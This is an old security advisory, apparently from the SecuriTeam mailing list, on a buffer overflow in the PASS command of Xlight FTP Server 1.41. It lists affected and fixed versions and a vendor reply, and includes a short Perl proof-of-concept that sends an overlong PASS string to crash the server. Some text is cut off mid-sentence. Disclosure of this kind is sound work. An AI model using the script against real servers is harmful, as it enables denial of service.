[NT] Xlight FTP Server PASS Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 12/22/03

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    To: list@securiteam.com
    Date: 22 Dec 2003 14:04:50 +0200

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      Xlight FTP Server PASS Buffer Overflow


     <http://www.xlightftpd.com/> Xlight FTP server is "a powerful ftp server
    with very small program size". A buffer overflow vulnerability in the
    product has been found allowing remote attackers to overflow an internal


    Vulnerable systems:
     * Xlight FTP Server version 1.41 and prior

    Immune systems:
     * Xlight FTP Server version 1.45

    By sending an overflow long PASS command a local buffer used in Xlight FTP
    server can be overflowed.

    Vendor status:
    "We would like to inform you that we have release a new version of Xlight
    ftp server 1.45 which includes solution for this buffer overflow problem.
    Thanks for your alert.

    Best regards,
    Xlight ftp support

    # Exploit for Xlight FTP server long PASS vulnerability
    use IO::Socket;
    unless (@ARGV == 1) { die "usage: $0 host ..." }
    $host = shift(@ARGV);
    $remote = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr => $host,
                                     PeerPort => "ftp(21)",
    unless ($remote) { die "cannot connect to ftp daemon on $host" }


    print $remote "USER anonymous\r\n";

    $buf = "A"x54; # Min 54, Max 523
    print $remote "PASS ".$buf."\r\n";

    close $remote;


    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.


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